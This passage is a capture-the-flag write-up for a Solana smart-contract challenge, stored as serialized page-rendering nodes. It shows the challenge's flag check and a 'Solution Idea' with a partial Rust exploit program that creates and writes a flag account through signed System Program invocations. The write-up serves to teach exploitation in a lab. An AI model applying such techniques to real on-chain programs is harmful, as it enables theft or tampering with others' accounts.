payer",{"type":21,"tag":85,"props":42693,"children":42694},{"style":169},[42695],{"type":26,"value":1941},{"type":21,"tag":85,"props":42697,"children":42698},{"style":120},[42699],{"type":26,"value":42649},{"type":21,"tag":85,"props":42701,"children":42702},{"style":169},[42703],{"type":26,"value":73},{"type":21,"tag":85,"props":42705,"children":42706},{"style":1021},[42707],{"type":26,"value":4311},{"type":21,"tag":85,"props":42709,"children":42710},{"style":114},[42711],{"type":26,"value":4437},{"type":21,"tag":85,"props":42713,"children":42714},{"class":87,"line":501},[42715],{"type":21,"tag":85,"props":42716,"children":42717},{"emptyLinePlaceholder":16},[42718],{"type":26,"value":703},{"type":21,"tag":85,"props":42720,"children":42721},{"class":87,"line":697},[42722],{"type":21,"tag":85,"props":42723,"children":42724},{"style":120},[42725],{"type":26,"value":42726},"chall\n",{"type":21,"tag":85,"props":42728,"children":42729},{"class":87,"line":706},[42730,42735,42740,42745,42749,42753,42757,42761,42766,42770,42774,42778,42782,42787],{"type":21,"tag":85,"props":42731,"children":42732},{"style":169},[42733],{"type":26,"value":42734},"    .",{"type":21,"tag":85,"props":42736,"children":42737},{"style":1021},[42738],{"type":26,"value":42739},"run_ix",{"type":21,"tag":85,"props":42741,"children":42742},{"style":114},[42743],{"type":26,"value":42744},"(system_instruction",{"type":21,"tag":85,"props":42746,"children":42747},{"style":169},[42748],{"type":26,"value":1087},{"type":21,"tag":85,"props":42750,"children":42751},{"style":1021},[42752],{"type":26,"value":32568},{"type":21,"tag":85,"props":42754,"children":42755},{"style":114},[42756],{"type":26,"value":1439},{"type":21,"tag":85,"props":42758,"children":42759},{"style":169},[42760],{"type":26,"value":2238},{"type":21,"tag":85,"props":42762,"children":42763},{"style":120},[42764],{"type":26,"value":42765},"payer",{"type":21,"tag":85,"props":42767,"children":42768},{"style":114},[42769],{"type":26,"value":256},{"type":21,"tag":85,"props":42771,"children":42772},{"style":169},[42773],{"type":26,"value":2238},{"type":21,"tag":85,"props":42775,"children":42776},{"style":120},[42777],{"type":26,"value":20660},{"type":21,"tag":85,"props":42779,"children":42780},{"style":114},[42781],{"type":26,"value":256},{"type":21,"tag":85,"props":42783,"children":42784},{"style":2285},[42785],{"type":26,"value":42786},"100_000_000_000",{"type":21,"tag":85,"props":42788,"children":42789},{"style":114},[42790],{"type":26,"value":20139},{"type":21,"tag":85,"props":42792,"children":42793},{"class":87,"line":1100},[42794,42798,42802,42806],{"type":21,"tag":85,"props":42795,"children":42796},{"style":169},[42797],{"type":26,"value":42734},{"type":21,"tag":85,"props":42799,"children":42800},{"style":2885},[42801],{"type":26,"value":33362},{"type":21,"tag":85,"props":42803,"children":42804},{"style":169},[42805],{"type":26,"value":3927},{"type":21,"tag":85,"props":42807,"children":42808},{"style":114},[42809],{"type":26,"value":2535},{"type":21,"tag":85,"props":42811,"children":42812},{"class":87,"line":1339},[42813],{"type":21,"tag":85,"props":42814,"children":42815},{"emptyLinePlaceholder":16},[42816],{"type":26,"value":703},{"type":21,"tag":85,"props":42818,"children":42819},{"class":87,"line":1348},[42820,42825,42829,42833,42837,42842,42846,42850,42854,42858],{"type":21,"tag":85,"props":42821,"children":42822},{"style":1021},[42823],{"type":26,"value":42824},"writeln!",{"type":21,"tag":85,"props":42826,"children":42827},{"style":114},[42828],{"type":26,"value":1439},{"type":21,"tag":85,"props":42830,"children":42831},{"style":120},[42832],{"type":26,"value":42388},{"type":21,"tag":85,"props":42834,"children":42835},{"style":114},[42836],{"type":26,"value":256},{"type":21,"tag":85,"props":42838,"children":42839},{"style":5026},[42840],{"type":26,"value":42841},"\"user: {}\"",{"type":21,"tag":85,"props":42843,"children":42844},{"style":114},[42845],{"type":26,"value":256},{"type":21,"tag":85,"props":42847,"children":42848},{"style":120},[42849],{"type":26,"value":20660},{"type":21,"tag":85,"props":42851,"children":42852},{"style":114},[42853],{"type":26,"value":1900},{"type":21,"tag":85,"props":42855,"children":42856},{"style":169},[42857],{"type":26,"value":3927},{"type":21,"tag":85,"props":42859,"children":42860},{"style":114},[42861],{"type":26,"value":2535},{"type":21,"tag":841,"props":42863,"children":42864},{"start":151},[42865],{"type":21,"tag":845,"props":42866,"children":42867},{},[42868],{"type":26,"value":42869},"Reads an instruction from the tcp stream and executes it",{"type":21,"tag":75,"props":42871,"children":42873},{"className":77,"code":42872,"language":79,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[42874],{"type":21,"tag":66,"props":42875,"children":42876},{"__ignoreMap":7},[42877,42927],{"type":21,"tag":85,"props":42878,"children":42879},{"class":87,"line":88},[42880,42884,42889,42893,42897,42901,42906,42910,42914,42919,42923],{"type":21,"tag":85,"props":42881,"children":42882},{"style":102},[42883],{"type":26,"value":12204},{"type":21,"tag":85,"props":42885,"children":42886},{"style":120},[42887],{"type":26,"value":42888}," solve_ix",{"type":21,"tag":85,"props":42890,"children":42891},{"style":169},[42892],{"type":26,"value":1941},{"type":21,"tag":85,"props":42894,"children":42895},{"style":120},[42896],{"type":26,"value":42493},{"type":21,"tag":85,"props":42898,"children":42899},{"style":169},[42900],{"type":26,"value":73},{"type":21,"tag":85,"props":42902,"children":42903},{"style":1021},[42904],{"type":26,"value":42905},"read_instruction",{"type":21,"tag":85,"props":42907,"children":42908},{"style":114},[42909],{"type":26,"value":42475},{"type":21,"tag":85,"props":42911,"children":42912},{"style":169},[42913],{"type":26,"value":1087},{"type":21,"tag":85,"props":42915,"children":42916},{"style":114},[42917],{"type":26,"value":42918},"ID)",{"type":21,"tag":85,"props":42920,"children":42921},{"style":169},[42922],{"type":26,"value":3927},{"type":21,"tag":85,"props":42924,"children":42925},{"style":114},[42926],{"type":26,"value":2535},{"type":21,"tag":85,"props":42928,"children":42929},{"class":87,"line":98},[42930,42934,42938,42943,42947,42951,42955,42960,42964,42968,42972,42976,42981,42985,42989,42993,42997,43001,43005,43009],{"type":21,"tag":85,"props":42931,"children":42932},{"style":120},[42933],{"type":26,"value":42662},{"type":21,"tag":85,"props":42935,"children":42936},{"style":169},[42937],{"type":26,"value":73},{"type":21,"tag":85,"props":42939,"children":42940},{"style":1021},[42941],{"type":26,"value":42942},"run_ixs_full",{"type":21,"tag":85,"props":42944,"children":42945},{"style":114},[42946],{"type":26,"value":1439},{"type":21,"tag":85,"props":42948,"children":42949},{"style":169},[42950],{"type":26,"value":2238},{"type":21,"tag":85,"props":42952,"children":42953},{"style":114},[42954],{"type":26,"value":3016},{"type":21,"tag":85,"props":42956,"children":42957},{"style":120},[42958],{"type":26,"value":42959},"solve_ix",{"type":21,"tag":85,"props":42961,"children":42962},{"style":114},[42963],{"type":26,"value":23489},{"type":21,"tag":85,"props":42965,"children":42966},{"style":169},[42967],{"type":26,"value":2238},{"type":21,"tag":85,"props":42969,"children":42970},{"style":114},[42971],{"type":26,"value":3016},{"type":21,"tag":85,"props":42973,"children":42974},{"style":169},[42975],{"type":26,"value":2238},{"type":21,"tag":85,"props":42977,"children":42978},{"style":120},[42979],{"type":26,"value":42980},"user_keypair",{"type":21,"tag":85,"props":42982,"children":42983},{"style":114},[42984],{"type":26,"value":23489},{"type":21,"tag":85,"props":42986,"children":42987},{"style":169},[42988],{"type":26,"value":2238},{"type":21,"tag":85,"props":42990,"children":42991},{"style":120},[42992],{"type":26,"value":20660},{"type":21,"tag":85,"props":42994,"children":42995},{"style":114},[42996],{"type":26,"value":1900},{"type":21,"tag":85,"props":42998,"children":42999},{"style":169},[43000],{"type":26,"value":73},{"type":21,"tag":85,"props":43002,"children":43003},{"style":2885},[43004],{"type":26,"value":33362},{"type":21,"tag":85,"props":43006,"children":43007},{"style":169},[43008],{"type":26,"value":3927},{"type":21,"tag":85,"props":43010,"children":43011},{"style":114},[43012],{"type":26,"value":2535},{"type":21,"tag":841,"props":43014,"children":43015},{"start":160},[43016],{"type":21,"tag":845,"props":43017,"children":43018},{},[43019],{"type":26,"value":43020},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":21,"tag":75,"props":43022,"children":43024},{"className":77,"code":43023,"language":79,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[43025],{"type":21,"tag":66,"props":43026,"children":43027},{"__ignoreMap":7},[43028,43112,43203,43244,43328,43335,43372,43429,43474,43489,43525,43532,43539],{"type":21,"tag":85,"props":43029,"children":43030},{"class":87,"line":88},[43031,43035,43040,43044,43048,43052,43057,43061,43065,43069,43074,43078,43083,43088,43092,43096,43100,43104,43108],{"type":21,"tag":85,"props":43032,"children":43033},{"style":102},[43034],{"type":26,"value":12204},{"type":21,"tag":85,"props":43036,"children":43037},{"style":120},[43038],{"type":26,"value":43039}," flag",{"type":21,"tag":85,"props":43041,"children":43042},{"style":169},[43043],{"type":26,"value":1941},{"type":21,"tag":85,"props":43045,"children":43046},{"style":108},[43047],{"type":26,"value":21285},{"type":21,"tag":85,"props":43049,"children":43050},{"style":169},[43051],{"type":26,"value":1087},{"type":21,"tag":85,"props":43053,"children":43054},{"style":1021},[43055],{"type":26,"value":43056},"create_program_address",{"type":21,"tag":85,"props":43058,"children":43059},{"style":114},[43060],{"type":26,"value":1439},{"type":21,"tag":85,"props":43062,"children":43063},{"style":169},[43064],{"type":26,"value":2238},{"type":21,"tag":85,"props":43066,"children":43067},{"style":114},[43068],{"type":26,"value":3016},{"type":21,"tag":85,"props":43070,"children":43071},{"style":5026},[43072],{"type":26,"value":43073},"\"FLAG\"",{"type":21,"tag":85,"props":43075,"children":43076},{"style":169},[43077],{"type":26,"value":73},{"type":21,"tag":85,"props":43079,"children":43080},{"style":1021},[43081],{"type":26,"value":43082},"as_ref",{"type":21,"tag":85,"props":43084,"children":43085},{"style":114},[43086],{"type":26,"value":43087},"()], ",{"type":21,"tag":85,"props":43089,"children":43090},{"style":169},[43091],{"type":26,"value":2238},{"type":21,"tag":85,"props":43093,"children":43094},{"style":114},[43095],{"type":26,"value":42662},{"type":21,"tag":85,"props":43097,"children":43098},{"style":169},[43099],{"type":26,"value":1087},{"type":21,"tag":85,"props":43101,"children":43102},{"style":114},[43103],{"type":26,"value":42918},{"type":21,"tag":85,"props":43105,"children":43106},{"style":169},[43107],{"type":26,"value":3927},{"type":21,"tag":85,"props":43109,"children":43110},{"style":114},[43111],{"type":26,"value":2535},{"type":21,"tag":85,"props":43113,"children":43114},{"class":87,"line":98},[43115,43119,43123,43127,43131,43136,43140,43144,43148,43152,43156,43160,43165,43169,43174,43178,43183,43187,43191,43195,43199],{"type":21,"tag":85,"props":43116,"children":43117},{"style":2885},[43118],{"type":26,"value":15999},{"type":21,"tag":85,"props":43120,"children":43121},{"style":102},[43122],{"type":26,"value":27746},{"type":21,"tag":85,"props":43124,"children":43125},{"style":108},[43126],{"type":26,"value":27751},{"type":21,"tag":85,"props":43128,"children":43129},{"style":114},[43130],{"type":26,"value":1439},{"type":21,"tag":85,"props":43132,"children":43133},{"style":120},[43134],{"type":26,"value":43135},"acct",{"type":21,"tag":85,"props":43137,"children":43138},{"style":114},[43139],{"type":26,"value":736},{"type":21,"tag":85,"props":43141,"children":43142},{"style":169},[43143],{"type":26,"value":741},{"type":21,"tag":85,"props":43145,"children":43146},{"style":120},[43147],{"type":26,"value":42493},{"type":21,"tag":85,"props":43149,"children":43150},{"style":169},[43151],{"type":26,"value":73},{"type":21,"tag":85,"props":43153,"children":43154},{"style":114},[43155],{"type":26,"value":20708},{"type":21,"tag":85,"props":43157,"children":43158},{"style":169},[43159],{"type":26,"value":73},{"type":21,"tag":85,"props":43161,"children":43162},{"style":114},[43163],{"type":26,"value":43164},"banks_client",{"type":21,"tag":85,"props":43166,"children":43167},{"style":169},[43168],{"type":26,"value":73},{"type":21,"tag":85,"props":43170,"children":43171},{"style":1021},[43172],{"type":26,"value":43173},"get_account",{"type":21,"tag":85,"props":43175,"children":43176},{"style":114},[43177],{"type":26,"value":1439},{"type":21,"tag":85,"props":43179,"children":43180},{"style":120},[43181],{"type":26,"value":43182},"flag",{"type":21,"tag":85,"props":43184,"children":43185},{"style":114},[43186],{"type":26,"value":1900},{"type":21,"tag":85,"props":43188,"children":43189},{"style":169},[43190],{"type":26,"value":73},{"type":21,"tag":85,"props":43192,"children":43193},{"style":2885},[43194],{"type":26,"value":33362},{"type":21,"tag":85,"props":43196,"children":43197},{"style":169},[43198],{"type":26,"value":3927},{"type":21,"tag":85,"props":43200,"children":43201},{"style":114},[43202],{"type":26,"value":148},{"type":21,"tag":85,"props":43204,"children":43205},{"class":87,"line":151},[43206,43210,43215,43219,43223,43227,43231,43235,43239],{"type":21,"tag":85,"props":43207,"children":43208},{"style":2885},[43209],{"type":26,"value":12696},{"type":21,"tag":85,"props":43211,"children":43212},{"style":120},[43213],{"type":26,"value":43214}," acct",{"type":21,"tag":85,"props":43216,"children":43217},{"style":169},[43218],{"type":26,"value":73},{"type":21,"tag":85,"props":43220,"children":43221},{"style":114},[43222],{"type":26,"value":4469},{"type":21,"tag":85,"props":43224,"children":43225},{"style":169},[43226],{"type":26,"value":73},{"type":21,"tag":85,"props":43228,"children":43229},{"style":1021},[43230],{"type":26,"value":3520},{"type":21,"tag":85,"props":43232,"children":43233},{"style":114},[43234],{"type":26,"value":14461},{"type":21,"tag":85,"props":43236,"children":43237},{"style":169},[43238],{"type":26,"value":2936},{"type":21,"tag":85,"props":43240,"children":43241},{"style":2285},[43242],{"type":26,"value":43243}," 0x1337\n",{"type":21,"tag":85,"props":43245,"children":43246},{"class":87,"line":160},[43247,43252,43256,43260,43265,43269,43273,43277,43282,43286,43290,43294,43298,43302,43306,43310,43314,43319,43323],{"type":21,"tag":85,"props":43248,"children":43249},{"style":169},[43250],{"type":26,"value":43251},"        &&",{"type":21,"tag":85,"props":43253,"children":43254},{"style":108},[43255],{"type":26,"value":177},{"type":21,"tag":85,"props":43257,"children":43258},{"style":169},[43259],{"type":26,"value":1087},{"type":21,"tag":85,"props":43261,"children":43262},{"style":1021},[43263],{"type":26,"value":43264},"from_le_bytes",{"type":21,"tag":85,"props":43266,"children":43267},{"style":114},[43268],{"type":26,"value":1439},{"type":21,"tag":85,"props":43270,"children":43271},{"style":120},[43272],{"type":26,"value":43135},{"type":21,"tag":85,"props":43274,"children":43275},{"style":169},[43276],{"type":26,"value":73},{"type":21,"tag":85,"props":43278,"children":43279},{"style":114},[43280],{"type":26,"value":43281},"data[",{"type":21,"tag":85,"props":43283,"children":43284},{"style":169},[43285],{"type":26,"value":2998},{"type":21,"tag":85,"props":43287,"children":43288},{"style":2285},[43289],{"type":26,"value":4843},{"type":21,"tag":85,"props":43291,"children":43292},{"style":114},[43293],{"type":26,"value":15830},{"type":21,"tag":85,"props":43295,"children":43296},{"style":169},[43297],{"type":26,"value":73},{"type":21,"tag":85,"props":43299,"children":43300},{"style":1021},[43301],{"type":26,"value":26603},{"type":21,"tag":85,"props":43303,"children":43304},{"style":114},[43305],{"type":26,"value":14297},{"type":21,"tag":85,"props":43307,"children":43308},{"style":169},[43309],{"type":26,"value":73},{"type":21,"tag":85,"props":43311,"children":43312},{"style":1021},[43313],{"type":26,"value":4432},{"type":21,"tag":85,"props":43315,"children":43316},{"style":114},[43317],{"type":26,"value":43318},"()) ",{"type":21,"tag":85,"props":43320,"children":43321},{"style":169},[43322],{"type":26,"value":2936},{"type":21,"tag":85,"props":43324,"children":43325},{"style":2285},[43326],{"type":26,"value":43327}," 0x4337\n",{"type":21,"tag":85,"props":43329,"children":43330},{"class":87,"line":185},[43331],{"type":21,"tag":85,"props":43332,"children":43333},{"style":114},[43334],{"type":26,"value":29630},{"type":21,"tag":85,"props":43336,"children":43337},{"class":87,"line":501},[43338,43343,43347,43351,43355,43360,43364,43368],{"type":21,"tag":85,"props":43339,"children":43340},{"style":1021},[43341],{"type":26,"value":43342},"        writeln!",{"type":21,"tag":85,"props":43344,"children":43345},{"style":114},[43346],{"type":26,"value":1439},{"type":21,"tag":85,"props":43348,"children":43349},{"style":120},[43350],{"type":26,"value":42388},{"type":21,"tag":85,"props":43352,"children":43353},{"style":114},[43354],{"type":26,"value":256},{"type":21,"tag":85,"props":43356,"children":43357},{"style":5026},[43358],{"type":26,"value":43359},"\"congrats!\"",{"type":21,"tag":85,"props":43361,"children":43362},{"style":114},[43363],{"type":26,"value":1900},{"type":21,"tag":85,"props":43365,"children":43366},{"style":169},[43367],{"type":26,"value":3927},{"type":21,"tag":85,"props":43369,"children":43370},{"style":114},[43371],{"type":26,"value":2535},{"type":21,"tag":85,"props":43373,"children":43374},{"class":87,"line":697},[43375,43379,43383,43388,43392,43396,43400,43404,43409,43413,43417,43421,43425],{"type":21,"tag":85,"props":43376,"children":43377},{"style":2885},[43378],{"type":26,"value":4044},{"type":21,"tag":85,"props":43380,"children":43381},{"style":102},[43382],{"type":26,"value":27746},{"type":21,"tag":85,"props":43384,"children":43385},{"style":108},[43386],{"type":26,"value":43387}," Ok",{"type":21,"tag":85,"props":43389,"children":43390},{"style":114},[43391],{"type":26,"value":1439},{"type":21,"tag":85,"props":43393,"children":43394},{"style":120},[43395],{"type":26,"value":43182},{"type":21,"tag":85,"props":43397,"children":43398},{"style":114},[43399],{"type":26,"value":736},{"type":21,"tag":85,"props":43401,"children":43402},{"style":169},[43403],{"type":26,"value":741},{"type":21,"tag":85,"props":43405,"children":43406},{"style":114},[43407],{"type":26,"value":43408}," env",{"type":21,"tag":85,"props":43410,"children":43411},{"style":169},[43412],{"type":26,"value":1087},{"type":21,"tag":85,"props":43414,"children":43415},{"style":1021},[43416],{"type":26,"value":35494},{"type":21,"tag":85,"props":43418,"children":43419},{"style":114},[43420],{"type":26,"value":1439},{"type":21,"tag":85,"props":43422,"children":43423},{"style":5026},[43424],{"type":26,"value":43073},{"type":21,"tag":85,"props":43426,"children":43427},{"style":114},[43428],{"type":26,"value":15222},{"type":21,"tag":85,"props":43430,"children":43431},{"class":87,"line":706},[43432,43437,43441,43445,43449,43454,43458,43462,43466,43470],{"type":21,"tag":85,"props":43433,"children":43434},{"style":1021},[43435],{"type":26,"value":43436},"            writeln!",{"type":21,"tag":85,"props":43438,"children":43439},{"style":114},[43440],{"type":26,"value":1439},{"type":21,"tag":85,"props":43442,"children":43443},{"style":120},[43444],{"type":26,"value":42388},{"type":21,"tag":85,"props":43446,"children":43447},{"style":114},[43448],{"type":26,"value":256},{"type":21,"tag":85,"props":43450,"children":43451},{"style":5026},[43452],{"type":26,"value":43453},"\"flag: {:?}\"",{"type":21,"tag":85,"props":43455,"children":43456},{"style":114},[43457],{"type":26,"value":256},{"type":21,"tag":85,"props":43459,"children":43460},{"style":120},[43461],{"type":26,"value":43182},{"type":21,"tag":85,"props":43463,"children":43464},{"style":114},[43465],{"type":26,"value":1900},{"type":21,"tag":85,"props":43467,"children":43468},{"style":169},[43469],{"type":26,"value":3927},{"type":21,"tag":85,"props":43471,"children":43472},{"style":114},[43473],{"type":26,"value":2535},{"type":21,"tag":85,"props":43475,"children":43476},{"class":87,"line":1100},[43477,43481,43485],{"type":21,"tag":85,"props":43478,"children":43479},{"style":114},[43480],{"type":26,"value":4081},{"type":21,"tag":85,"props":43482,"children":43483},{"style":2885},[43484],{"type":26,"value":4086},{"type":21,"tag":85,"props":43486,"children":43487},{"style":114},[43488],{"type":26,"value":148},{"type":21,"tag":85,"props":43490,"children":43491},{"class":87,"line":1339},[43492,43496,43500,43504,43508,43513,43517,43521],{"type":21,"tag":85,"props":43493,"children":43494},{"style":1021},[43495],{"type":26,"value":43436},{"type":21,"tag":85,"props":43497,"children":43498},{"style":114},[43499],{"type":26,"value":1439},{"type":21,"tag":85,"props":43501,"children":43502},{"style":120},[43503],{"type":26,"value":42388},{"type":21,"tag":85,"props":43505,"children":43506},{"style":114},[43507],{"type":26,"value":256},{"type":21,"tag":85,"props":43509,"children":43510},{"style":5026},[43511],{"type":26,"value":43512},"\"flag not found, please contact admin\"",{"type":21,"tag":85,"props":43514,"children":43515},{"style":114},[43516],{"type":26,"value":1900},{"type":21,"tag":85,"props":43518,"children":43519},{"style":169},[43520],{"type":26,"value":3927},{"type":21,"tag":85,"props":43522,"children":43523},{"style":114},[43524],{"type":26,"value":2535},{"type":21,"tag":85,"props":43526,"children":43527},{"class":87,"line":1348},[43528],{"type":21,"tag":85,"props":43529,"children":43530},{"style":114},[43531],{"type":26,"value":4118},{"type":21,"tag":85,"props":43533,"children":43534},{"class":87,"line":1386},[43535],{"type":21,"tag":85,"props":43536,"children":43537},{"style":114},[43538],{"type":26,"value":507},{"type":21,"tag":85,"props":43540,"children":43541},{"class":87,"line":1394},[43542],{"type":21,"tag":85,"props":43543,"children":43544},{"style":114},[43545],{"type":26,"value":2671},{"type":21,"tag":54,"props":43547,"children":43549},{"id":43548},"solution-idea",[43550],{"type":26,"value":43551},"Solution Idea",{"type":21,"tag":22,"props":43553,"children":43554},{},[43555,43557,43562],{"type":26,"value":43556},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":21,"tag":66,"props":43558,"children":43560},{"className":43559},[],[43561],{"type":26,"value":36129},{"type":26,"value":43563}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":21,"tag":22,"props":43565,"children":43566},{},[43567,43569,43575],{"type":26,"value":43568},"In order to get the flag, we need to make sure that the account at ",{"type":21,"tag":66,"props":43570,"children":43572},{"className":43571},[],[43573],{"type":26,"value":43574},"PDA(\"FLAG\")",{"type":26,"value":43576}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":21,"tag":22,"props":43578,"children":43579},{},[43580,43582,43589],{"type":26,"value":43581},"Essentially, we need to ",{"type":21,"tag":335,"props":43583,"children":43586},{"href":43584,"rel":43585},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[339],[43587],{"type":26,"value":43588},"invoke the System Program",{"type":26,"value":43590},", and write controlled data into the newly created account.",{"type":21,"tag":22,"props":43592,"children":43593},{},[43594],{"type":26,"value":43595},"A sample program that does this is as follows:",{"type":21,"tag":75,"props":43597,"children":43599},{"className":77,"code":43598,"language":79,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[43600],{"type":21,"tag":66,"props":43601,"children":43602},{"__ignoreMap":7},[43603,43623,43647,43675,43703,43723,43759,43795,43802,43810,43843,43860,43885,43906,43958,43983,43990,44003,44049,44093,44101,44109,44120,44136,44147,44167,44187,44194,44230,44245,44252,44260,44339,44346,44357],{"type":21,"tag":85,"props":43604,"children":43605},{"class":87,"line":88},[43606,43610,43614,43619],{"type":21,"tag":85,"props":43607,"children":43608},{"style":102},[43609],{"type":26,"value":14108},{"type":21,"tag":85,"props":43611,"children":43612},{"style":102},[43613],{"type":26,"value":14113},{"type":21,"tag":85,"props":43615,"children":43616},{"style":1021},[43617],{"type":26,"value":43618}," process_instruction",{"type":21,"tag":85,"props":43620,"children":43621},{"style":114},[43622],{"type":26,"value":1029},{"type":21,"tag":85,"props":43624,"children":43625},{"class":87,"line":98},[43626,43631,43635,43639,43643],{"type":21,"tag":85,"props":43627,"children":43628},{"style":120},[43629],{"type":26,"value":43630},"    program_id",{"type":21,"tag":85,"props":43632,"children":43633},{"style":169},[43634],{"type":26,"value":172},{"type":21,"tag":85,"props":43636,"children":43637},{"style":169},[43638],{"type":26,"value":1487},{"type":21,"tag":85,"props":43640,"children":43641},{"style":108},[43642],{"type":26,"value":21826},{"type":21,"tag":85,"props":43644,"children":43645},{"style":114},[43646],{"type":26,"value":182},{"type":21,"tag":85,"props":43648,"children":43649},{"class":87,"line":151},[43650,43655,43659,43663,43667,43671],{"type":21,"tag":85,"props":43651,"children":43652},{"style":120},[43653],{"type":26,"value":43654},"    accounts",{"type":21,"tag":85,"props":43656,"children":43657},{"style":169},[43658],{"type":26,"value":172},{"type":21,"tag":85,"props":43660,"children":43661},{"style":169},[43662],{"type":26,"value":1487},{"type":21,"tag":85,"props":43664,"children":43665},{"style":114},[43666],{"type":26,"value":3016},{"type":21,"tag":85,"props":43668,"children":43669},{"style":108},[43670],{"type":26,"value":15357},{"type":21,"tag":85,"props":43672,"children":43673},{"style":114},[43674],{"type":26,"value":14681},{"type":21,"tag":85,"props":43676,"children":43677},{"class":87,"line":160},[43678,43683,43687,43691,43695,43699],{"type":21,"tag":85,"props":43679,"children":43680},{"style":120},[43681],{"type":26,"value":43682},"    data",{"type":21,"tag":85,"props":43684,"children":43685},{"style":169},[43686],{"type":26,"value":172},{"type":21,"tag":85,"props":43688,"children":43689},{"style":169},[43690],{"type":26,"value":1487},{"type":21,"tag":85,"props":43692,"children":43693},{"style":114},[43694],{"type":26,"value":3016},{"type":21,"tag":85,"props":43696,"children":43697},{"style":108},[43698],{"type":26,"value":4190},{"type":21,"tag":85,"props":43700,"children":43701},{"style":114},[43702],{"type":26,"value":12189},{"type":21,"tag":85,"props":43704,"children":43705},{"class":87,"line":185},[43706,43710,43714,43719],{"type":21,"tag":85,"props":43707,"children":43708},{"style":114},[43709],{"type":26,"value":736},{"type":21,"tag":85,"props":43711,"children":43712},{"style":169},[43713],{"type":26,"value":14175},{"type":21,"tag":85,"props":43715,"children":43716},{"style":108},[43717],{"type":26,"value":43718}," ProgramResult",{"type":21,"tag":85,"props":43720,"children":43721},{"style":114},[43722],{"type":26,"value":148},{"type":21,"tag":85,"props":43724,"children":43725},{"class":87,"line":501},[43726,43730,43735,43739,43743,43747,43751,43755],{"type":21,"tag":85,"props":43727,"children":43728},{"style":102},[43729],{"type":26,"value":3778},{"type":21,"tag":85,"props":43731,"children":43732},{"style":120},[43733],{"type":26,"value":43734}," flag_pda_ai",{"type":21,"tag":85,"props":43736,"children":43737},{"style":169},[43738],{"type":26,"value":1941},{"type":21,"tag":85,"props":43740,"children":43741},{"style":169},[43742],{"type":26,"value":1487},{"type":21,"tag":85,"props":43744,"children":43745},{"style":120},[43746],{"type":26,"value":15093},{"type":21,"tag":85,"props":43748,"children":43749},{"style":114},[43750],{"type":26,"value":3016},{"type":21,"tag":85,"props":43752,"children":43753},{"style":2285},[43754],{"type":26,"value":4789},{"type":21,"tag":85,"props":43756,"children":43757},{"style":114},[43758],{"type":26,"value":32019},{"type":21,"tag":85,"props":43760,"children":43761},{"class":87,"line":697},[43762,43766,43771,43775,43779,43783,43787,43791],{"type":21,"tag":85,"props":43763,"children":43764},{"style":102},[43765],{"type":26,"value":3778},{"type":21,"tag":85,"props":43767,"children":43768},{"style":120},[43769],{"type":26,"value":43770}," user_ai",{"type":21,"tag":85,"props":43772,"children":43773},{"style":169},[43774],{"type":26,"value":1941},{"type":21,"tag":85,"props":43776,"children":43777},{"style":169},[43778],{"type":26,"value":1487},{"type":21,"tag":85,"props":43780,"children":43781},{"style":120},[43782],{"type":26,"value":15093},{"type":21,"tag":85,"props":43784,"children":43785},{"style":114},[43786],{"type":26,"value":3016},{"type":21,"tag":85,"props":43788,"children":43789},{"style":2285},[43790],{"type":26,"value":4779},{"type":21,"tag":85,"props":43792,"children":43793},{"style":114},[43794],{"type":26,"value":32019},{"type":21,"tag":85,"props":43796,"children":43797},{"class":87,"line":706},[43798],{"type":21,"tag":85,"props":43799,"children":43800},{"emptyLinePlaceholder":16},[43801],{"type":26,"value":703},{"type":21,"tag":85,"props":43803,"children":43804},{"class":87,"line":1100},[43805],{"type":21,"tag":85,"props":43806,"children":43807},{"style":92},[43808],{"type":26,"value":43809},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":21,"tag":85,"props":43811,"children":43812},{"class":87,"line":1339},[43813,43817,43822,43826,43830,43834,43839],{"type":21,"tag":85,"props":43814,"children":43815},{"style":102},[43816],{"type":26,"value":3778},{"type":21,"tag":85,"props":43818,"children":43819},{"style":120},[43820],{"type":26,"value":43821}," 